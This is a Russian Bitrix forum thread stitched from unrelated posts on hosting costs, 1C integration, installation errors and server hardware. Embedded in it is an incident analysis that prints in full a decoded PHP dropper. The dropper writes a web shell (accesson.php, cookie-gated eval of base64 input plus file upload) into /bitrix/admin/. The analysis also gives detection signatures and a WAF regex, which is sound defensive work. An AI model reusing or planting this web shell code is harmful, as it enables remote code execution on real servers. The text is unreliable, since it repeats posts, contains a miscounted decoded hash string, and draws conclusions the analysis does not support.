написал: Не все могут себе позволить держать постоянно обновленное ядро Битрикса, все решения и все модули сайта - это довольно трудоемкая и дорогая задача для большинства пользователей.
если бизнес не закладывает все необходимые расходы на поддержание сайта и прочих статей расхода, то такой бизнес не имеет шансов выжить. это как из серии продавцов которые купили по 100 продают по 120 а при этом доп расходов у них еще на 80 и потом сидят и удивляются как же так при марже в 20 они в кредитах и долгах оказались...
# Анализ и декодирование вредоносного GET-запроса в логах сервера
В ходе исследования подозрительного GET-запроса, обнаруженного в логах взломанного сервера, был проведен комплексный анализ структуры запроса и содержащегося в нем кода. Запрос демонстрирует признаки целенаправленной атаки на системы управления контентом с использованием техник обфускации и эксплуатации уязвимостей.
## Структура запроса и первичное декодирование
Исходный запрос содержит URL-encoded строку в параметре `midog`: ```http GET /?midog=%24s%3D%24_SERVER[...] HTTP/1.1 ``` Применение стандартного URL-декодирования с использованием `urllib.parse.unquote` в Python позволяет раскодировать основные компоненты запроса: ```php $s=$_SERVER['DOCUMENT_ROOT'].'/'; $s1=$s.'bitrix/admin/'; $fh=fopen($s1.'accesson.php','w'); fwrite($fh,'<?php echo 409723*20;if(md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?> '); fclose($fh); ```
## Анализ PHP-кода
### Создание вредоносного файла Код создает файл `accesson.php` в директории `/bitrix/admin/`, что характерно для атак на системы управления типа 1С-Битрикс. Файл содержит многоуровневую систему проверок и функций:
1. **Математическая операция** `409723*20` служит для имитации легитимной активности и проверки работоспособности скрипта 2. **Проверка MD5-хеша** cookie-параметра "d": ```php md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143" ``` Декодирование строки с использованием комбинации octal и hex-последовательностей дает значение: ``` a17028f487cb2a846306464da3ad3878ec ``` Однако фактическая длина полученной строки (37 символов) превышает стандартный 32-символьный MD5-хеш, что указывает на ошибку в обфускации.
### Механизм выполнения кода При успешной проверке cookie активируется цепочка выполнения: ```php eval(base64_decode($_REQUEST["id"])) ``` Этот механизм позволяет: - Выполнять произвольный код через параметр `id` - Использовать base64 для обхода простых сигнатур - Работать с любым типом HTTP-запроса (GET, POST и т.д.)
Это реализует механизм загрузки файлов на сервер через POST-запросы с использованием Web-шелла.
## Тактико-технические характеристики атаки
### Целевая платформа - Системы управления на базе 1С-Битрикс - Веб-серверы с разрешенной записью в корневую директорию - Серверы с некорректными настройками прав доступа
### Методы обфускации 1. **Комбинированное кодирование**: - URL-encoding для передачи payload - Смешанное octal/hex-кодирование строк - Использование escape-последовательностей
2. **Динамическая генерация путей**: ```php $s = $_SERVER['DOCUMENT_ROOT'].'/'; $s1 = $s.'bitrix/admin/'; ``` Позволяет адаптироваться к различным конфигурациям сервера
3. **Ложные сигнатуры**: - Математические операции в открытой части кода - Использование стандартных имен переменных ($s, $s1)
### Механизмы persistence - Создание постоянного Web-шелла в системной директории - Использование cookie-авторизации для доступа - Возможность удаленного выполнения кода
## Рекомендации по обнаружению и предотвращению
### Сигнатуры для обнаружения 1. HTTP-запросы, содержащие: - Параметр `midog` с URL-encoded PHP-кодом - Cookie с именем "d" и 32-символьным значением - Параметр "id" с base64-данными
2. Файловые сигнатуры: - Файлы `accesson.php` в директориях `/bitrix/admin/` - Наличие строк `eval(base64_decode(` в PHP-файлах
### Защитные меры 1. **Конфигурационные**: - Запрет записи в системные директории - Ограничение прав доступа для PHP-процессов - Регулярное обновление CMS и компонентов
2. **Мониторинг**: - Анализ нестандартных запросов к админ-панелям - Контроль создания новых файлов в системных директориях - Логирование операций файловой системы
3. **Технические**: - Реализация WAF с правилами для обнаружения: ```regex /\$_(REQUEST|GET|POST)\.*?base64_decode/ ``` - Использование систем контроля целостности файлов - Регулярный аудит активных Web-шеллов
## [Анализ вектора атаки
### Этапы эксплуатации 1. **Первичный доступ**: - Через уязвимости в компонентах CMS - Межсайтовый скриптинг (XSS) - SQL-инъекции
2. **Установка бекдора**: - Создание файла accesson.php - Настройка каналов удаленного доступа
3. **Эскалация привилегий**: - Использование функций копирования файлов - Модификация системных конфигураций
4. **Долгосрочное присутствие**: - Установка дополнительных скриптов - Кражу учетных данных - Организация командного центра
### Цели атаки 1. Кража конфиденциальных данных 2. Организация DDoS-атак 3. Распространение вредоносного ПО 4. Криптовалютный майнинг 5. Шантаж и вымогательство
## Восстановление после инцидента
### Неотложные меры 1. Изоляция зараженного сервера 2. Анализ временных рамок атаки 3. Проверка целостности системных файлов 4. Смена всех учетных данных
### Долгосрочные меры 1. Реализация системы резервного копирования 2. Внедрение SIEM-систем 3. Регулярное обучение персонала 4. Пентест и аудит безопасности
## Заключение
Проведенный анализ демонстрирует сложный многоэтапный характер атаки, использующей сочетание методов социальной инженерии и технических уязвимостей. Обнаруженный payload представляет серьезную угрозу для информационной безопасности, требующую комплексного подхода к нейтрализации. Ключевыми аспектами защиты становятся постоянный мониторинг, своевременное обновление систем и многоуровневая верификация пользовательских запросов.
написал: Коллеги из Битрикс - Интересно а рассмотрите ли предложение чтобы каждый сайт который создается отдельным ядром создавался под отдельным пользователем? Это бы позволило повысить безопасность в случае когда на одном сервере несколько сайтов на разных ядрах. А то сейчас ситуация такая что пользователи одного сайта легко получают доступ к другому что не есть хорошо....
подобная ситуация говорит о том что вы не закончили установку, и если скрипт автоматически не смог создать базу данных - ее надо создать в ручную и продолжить установку.
Коллеги из Битрикс - Интересно а рассмотрите ли предложение чтобы каждый сайт который создается отдельным ядром создавался под отдельным пользователем? Это бы позволило повысить безопасность в случае когда на одном сервере несколько сайтов на разных ядрах. А то сейчас ситуация такая что пользователи одного сайта легко получают доступ к другому что не есть хорошо....
надо получить из 1С на портал все компании в компании и все счета в сделки (сделки совмещены уже с заказами) а из корпортала в 1С получить весьь каталог товаров црм
может кто сделать ? или подсказать?
если кто готов сделать - Контакты - Skype: morpheus8452 Телеграм @panishev Моб./Viber/WhatsApp +7 927 220 35 95
Коннектор к Битрикс24, В этой теме Вы можете задать вопросы касательно модуля Бэкофис 2.0 и написать свои предложения. Имеется общая группа в телеге которая объединяет пользователей Битрикс использующих интеграцию с 1С и в которой мы можем скоординировать действия по продвижени
Коннектор к Битрикс24, В этой теме Вы можете задать вопросы касательно модуля Бэкофис 2.0 и написать свои предложения. Имеется общая группа в телеге которая объединяет пользователей Битрикс использующих интеграцию с 1С и в которой мы можем скоординировать действия по продвижени
Александр уточните пожалуйста, получиться ли решить вопросы обмена именно с конфигурацией Бухгалтерии и тот же вопрос про УНФ (тут или или на стадии выбора сейчас)
адача такая коробка портал 50 пользователей в црм планируется объединить заказы магазина со сделками, режим црм простой только сделки,
- базовая задача синхронизировать каталог црм в пустую Бухг или УНФ
- далее счета которые делаются клиентам в 1С синхронизировать на портал в сделки,
- заказы которые создает магазин и конвертирует в сделки синхронизировать в счета в 1С,
- из 1С синхронизировать в сделки оплаты которые в свою очередь обновляются обменом самой 1С с банками с помощью директ банка.
При этом часть менеджеров которые работают с новыми клиентами работают с ними в сделках на портале, и часть менеджеров работающих с базой в 1С. Хочется иметь единую систему для всех чтобы далее построить уже нормально аналитику на портале, при этом логика предполагается, что если на портале сделка успешна, то в !с это означает что на основании счета сделана реализация и она подписана через СБИС, пока реализация не подписана сделка не может быть переведена в статус успешной.
Есть ли какие то плюсы минусы если сравнивать для этой задачи Бухгалтерию и УНФ и получиться ли такую логику настроить?
Коннектор к Битрикс24, В этой теме Вы можете задать вопросы касательно модуля Бэкофис 2.0 и написать свои предложения. Имеется общая группа в телеге которая объединяет пользователей Битрикс использующих интеграцию с 1С и в которой мы можем скоординировать действия по продвижени
Коннектор к Битрикс24, В этой теме Вы можете задать вопросы касательно модуля Бэкофис 2.0 и написать свои предложения. Имеется общая группа в телеге которая объединяет пользователей Битрикс использующих интеграцию с 1С и в которой мы можем скоординировать действия по продвижени
Ошибка при вызове метода контекста (Записать) {Битрикс24КомплексБП ОбщаяФорма.Б24_К_ПроверитьНаОбновления.Форма(321)}:СозданноеРасширение.Записать(Новый ДвоичныеДанные(ИмяФайла));
по причине: Ошибка применения расширения конфигурации: Значение контролируемого свойства Тип у объекта Документ.СчетНаОплатуПоставщика.ТабличнаяЧасть.Товары.Реквизит.Количество не совпадает со значением в расширяемой конфигурации
при попытке с помощью Complex_module_installer.epf поставить модуль обмена в конфигурацию бухгалтерии. конфигурация стандартная ничего не трогалось в ней неужели в бухгалтерию нельзя поставить модуль обмена?
тут все сильно будет зависеть от нагрузки, если он у вас будет занят например импортом экспортом то вариант 1) будет быстрее а если обслуживать массу мелких запросов то вариант 2) второй в попугаях битрикса скорее всего покажет меньший результат, но процессор ведь не все решает, железо работает в комплексеи плюс ПО, настроить можно очень разные по производительности системы.
написал: надёжности лучше собрать нормальные 8 штук серверных ssd sas 12-gb/s на "железном" контроллере в raid-60 чем несколько штук nvme дорогущих.
тут соглашусь, я лишь исходил из соображений бюджета так как тут вопрос бюджета скорее первый чем последний, и имел в любом случай в виду что бекапы делаются регулярно на отдельный сервер, советов тут можно надавать вплоть до кластерной отказоустойчивой архитектуры, вопрос лишь в том будет ли бюджет.
Цитата
написал: Полностью с нуля собранное ПО под грамотно составленное ТЗ уделает пакет веб-окружения Битрикса как тузик грелку. Начиная с выбросом на свалку истории апача
тоже соглашусь, вопрос лишь в затратах на это и дальнейшей поддержке, квалифицированных админов еще поискать надо днем с огнем... поэтому из соображений профит от настройки своего пакета против высококлассного админа и затрат на это - как по мне проигрыш в производительности сильно выгоднее, особенно если попасть в ситуацию что админ попал в больницу например, а бизнесу срочно нужен другой для решения аварийных вопросов и вот исходя прежде всего из требований надежности/доступности получения услуг/стоимости услуг пакет окружения выигрывает в этой схватке за счет одного лишь пункта доступности получения услуг.
Цитата
написал: собранное ПО под грамотно составленное ТЗ
интересно вам за практику работы хоть раз от клиента такое ТЗ получалось получить? Я редко очень встречаю грамотные ТЗ под доработки не говоря про ТЗ на разработку с нуля, может у нас конечно клиенты такие попадаются, но 99,99% это просто набор пожеланий смешанных иной раз с желанием получить кнопку "бабло" за счет внедрения этого ТЗ.